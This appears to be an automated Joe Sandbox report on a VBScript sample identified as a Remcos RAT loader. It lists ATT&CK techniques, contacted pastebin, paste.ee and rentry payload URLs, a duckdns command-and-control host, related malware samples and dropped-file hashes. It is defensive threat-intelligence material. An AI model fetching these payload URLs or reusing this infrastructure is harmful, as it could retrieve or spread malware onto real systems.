Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Software Packing	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	222 Process Injection	1 Bypass User Account Control	LSA Secrets	33 System Information Discovery	SSH	Keylogging	1 Remote Access Software	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	2 Non-Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	213 Application Layer Protocol	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	222 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	Embedded Payloads	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
asegurar.vbs	16%	ReversingLabs	Win32.Trojan.Honolulu

Source	Detection	Scanner	Link
paste.ee	1%	Virustotal	Browse
sost.duckdns.org	0%	Virustotal	Browse
rentry.org	0%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
paste.ee	188.114.97.3	true	true	1%, Virustotal, Browse	unknown
sost.duckdns.org	181.236.112.169	true	true	0%, Virustotal, Browse	unknown
rentry.org	164.132.58.105	true	false	0%, Virustotal, Browse	unknown
pastebin.com	104.20.3.235	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
https://rentry.org/vsm4ofxs/raw	false	unknown
https://paste.ee/d/Rrk2f/0	true	unknown
https://pastebin.com/raw/J6uRjZrv	true	unknown
https://rentry.org/shqm6g9p/raw	false	unknown
sost.duckdns.org	true	unknown
https://pastebin.com/raw/4B83LcVU	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.00000201819E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.00000201901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1786360295.000002018022D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://paste.ee	powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1786360295.000002018022D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000003.00000002.1886765737.00000260265B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rentry.org	powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pastebin.com/raw	powershell.exe, 00000003.00000002.1886765737.000002602716A000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://rentry.org/shqm6g9p/rawP	powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://paste.ee	powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000001.00000002.1956266519.000002238A865000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1786360295.000002018022D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://geoplugin.net/json.gp	AddInProcess32.exe	false	URL Reputation: safe	unknown
https://www.google.com	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://rentry.org	powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020181950000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
HTTPS://PASTE.EE/D/RRK2F/0	powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.00000201819E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.00000201901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rentry.org/vsm4ofxs/rawp	powershell.exe, 00000006.00000002.1786360295.0000020181474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee;	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1956266519.000002238A87B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025511000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020180001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.apache.o	powershell.exe, 00000006.00000002.1803498782.00000201EA48A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1956266519.000002238A811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025511000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020180001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	powershell.exe, 00000003.00000002.1886765737.0000026026B34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260271BB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pastebin.com	powershell.exe, 00000003.00000002.1886765737.000002602716A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260265B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260258D8000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://secure.gravatar.com	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://themes.googleusercontent.com	powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
181.236.112.169	sost.duckdns.org	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	true
164.132.58.105	rentry.org	France	16276	OVHFR	false
188.114.97.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545852
Start date and time:	2024-10-31 07:40:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	asegurar.vbs
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winVBS@14/10@5/5
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 94% Number of executed functions: 49 Number of non-executed functions: 190
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3548 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5480 because it is empty
Execution Graph export aborted for target powershell.exe, PID 980 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:41:04	API Interceptor	99x Sleep call for process: powershell.exe modified
02:41:53	API Interceptor	1628504x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
164.132.58.105	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse
	sims-4-updater-v1.3.4.exe	Get hash	malicious	Unknown	Browse
	RedEngine.exe	Get hash	malicious	Babadeda, RedLine	Browse
	setup.exe	Get hash	malicious	Babadeda, RHADAMANTHYS, RedLine	Browse
	8MO5hfPa8d.exe	Get hash	malicious	AsyncRAT, Clipboard Hijacker	Browse
	SecuriteInfo.com.HEUR.Trojan.MSIL.Agent.gen.12009.5536.exe	Get hash	malicious	AsyncRAT, Clipboard Hijacker	Browse
	DLL_Injector_Resou_nls..scr.exe	Get hash	malicious	AsyncRAT, Clipboard Hijacker, zgRAT	Browse
	SynapseX_injector.exe	Get hash	malicious	Python Stealer, MicroClip	Browse
	2PKbNS1Q41.exe	Get hash	malicious	Python Stealer	Browse
	3yypk0NA7b.exe	Get hash	malicious	Unknown	Browse
188.114.97.3	lf1SPbZI3V.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/vdlzo
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	rPO-000172483.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/2b9b/
	rPO_28102400.exe	Get hash	malicious	Lokibot	Browse	ghcopz.shop/ClarkB/PWS/fre.php
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rentry.org	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	164.132.58.105
	sims-4-updater-v1.3.4.exe	Get hash	malicious	Unknown	Browse	164.132.58.105
	RedEngine.exe	Get hash	malicious	Babadeda, RedLine	Browse	164.132.58.105
	AtlasLoader.exe	Get hash	malicious	Unknown	Browse	198.251.88.130
	AtlasLoader.exe	Get hash	malicious	Unknown	Browse	198.251.88.130
	LX.exe	Get hash	malicious	Unknown	Browse	198.251.88.130
	lucim.exe	Get hash	malicious	Xmrig	Browse	198.251.88.130
	Activator.exe	Get hash	malicious	Xmrig	Browse	198.251.88.130
	EzLoader.exe	Get hash	malicious	RHADAMANTHYS, Xmrig	Browse	198.251.88.130
	LolixLoader.exe	Get hash	malicious	RHADAMANTHYS	Browse	198.251.88.130
pastebin.com	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
	seethebestthingstobegetmebackwithherlove.hta	Get hash	malicious	Cobalt Strike	Browse	172.67.19.24
	BL Packing List & Invoice.xls	Get hash	malicious	Unknown	Browse	104.20.4.235
	DHLShippingInvoicesAwbBL000000000102220242247.vbs	Get hash	malicious	Remcos	Browse	104.20.4.235
	a1OueQJq4d.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	4b7b5bc7b0d1f70adf6b80390f1273723c409b837c957.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	loader.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
	SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
	AF1cyL4cv6.vbs	Get hash	malicious	AsyncRAT	Browse	104.20.4.235
paste.ee	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	EwKKdCrEDu.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	EwKKdCrEDu.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	seethebestthingstobegetmebackwithherlove.hta	Get hash	malicious	Cobalt Strike	Browse	188.114.97.3
	necgoodthingswithgreatthingsentirethingstobeinonline.hta	Get hash	malicious	Cobalt Strike	Browse	188.114.97.3
	BL Packing List & Invoice.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	DHLShippingInvoicesAwbBL000000000102220242247.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	A & C Metrology OC 545714677889Materiale.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	104.21.74.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc	Browse	172.64.41.3
COLOMBIATELECOMUNICACIONESSAESPCO	jew.sh4.elf	Get hash	malicious	Mirai	Browse	190.254.50.103
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	186.113.206.88
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	186.102.99.255
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	152.205.247.76
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	190.254.50.177
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	152.201.221.190
	nabmips.elf	Get hash	malicious	Unknown	Browse	152.203.19.145
	ppc.elf	Get hash	malicious	Unknown	Browse	152.204.126.56
	1730033107cd1f685dd343fb5289f0989ab1767df23f3b365f9ae4183bbc963b1c7d6b27ef552.dat-decoded.exe	Get hash	malicious	Remcos	Browse	186.169.46.48
	173003311009f4856d26633f5ec14546c9f54fd0a35c3ef95426fb756d9dfebe737a4ee690830.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	186.169.46.48
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	A & C Metrology OC 545714677889Materiale.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	104.21.74.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc	Browse	172.64.41.3
OVHFR	file.exe	Get hash	malicious	Xmrig	Browse	51.79.145.202
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	51.75.86.98
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	51.75.86.98
	https://gthr.uk/e8c3	Get hash	malicious	Unknown	Browse	51.89.232.103
	20241029_163818.jpg	Get hash	malicious	Unknown	Browse	51.89.232.103
	jew.arm.elf	Get hash	malicious	Unknown	Browse	144.217.222.207
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	37.59.96.120
	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	51.81.194.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	147.135.36.89
	https://hianime.to	Get hash	malicious	Unknown	Browse	54.38.113.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	nOrden_de_Compra___0001245.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	file.exe	Get hash	malicious	Stealc	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	PO 4500580954.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	CPYEzG7VGh.exe	Get hash	malicious	DCRat	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	https://jpm-ghana-2024-election-conversation-with-oct-24.open-exchange.net/join-the-call?ml_access_token=eyJjb250ZW50Ijp7ImV4cGlyYXRpb25EYXRlIjoiMjAyNC0xMC0zMVQxNToyMDo1OS4wMDZaIiwiZW1haWwiOiJyZGVpdHpAdnItY2FwaXRhbC5jb20iLCJldmVudElkIjo0MjY3Mn0sInNpZ25hdHVyZSI6Ik1FVUNJQzhaMDJJblVZd0syUk9WRkdjL1pMNHRBbWo4RmwxdW9mQjhwZzRmSjZsMkFpRUE5d25HUFFoa3ZrdkM2MlJkQ3lkM09YbnFJZ0xlQTAwMDIxNlRWbG9Hb0ZjPSJ9	Get hash	malicious	Unknown	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	104.20.3.235 164.132.58.105 188.114.97.3
	http://ffcu.online	Get hash	malicious	Unknown	Browse	104.20.3.235 164.132.58.105 188.114.97.3

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	3.3378527165164744
Encrypted:	false
SSDEEP:	3:rhlKlM+WlUlRlM6cl5JWRal2Jl+7R0DAlBG45klovDl6v:6lw2U5YcIeeDAlOWAv
MD5:	89DC9D2B4303A079557D9F80BC2F3D8C
SHA1:	8D300391D0496527067B748335A5D4029BC5D977
SHA-256:	279D73E7BAE3B6C3B7E70694969AC96CDA99C82FCE74A79EFCAF7F6732B67EB6
SHA-512:	860BF6186D77E34B0A2D0D4398BC488AA092E92BE943479C871E6CC8BC057844E497929730E536ABAD59F5F3F2A66D472343B1C6C37CD01951503DB8B9406819
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Reputation:	low
Preview:	....[.2.0.2.4./.1.0./.3.1. .0.2.:.4.1.:.2.1. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulp77th:NllU
MD5:	7B5F360646F3167812DC4ADF7B166512
SHA1:	F00A325C611E6C9CC6D2069C0FEAE54C6B7E48E5
SHA-256:	672CD1B39FD62CBC4EEAC339C7863E190A95CEF4DDCEF0F4A5BE946E098B63B0
SHA-512:	7CA2CD8F0A6E6388628AC33A539DB661FCFFE08453DFACFE353B18B548ABC08072BF2FDAE40EEEA671137FE137177ADB4E322D9C77CDE8B6AADE7600EA4C18E0
Malicious:	false
Preview:	@...e.................................x..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iejrq5or.0gb.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
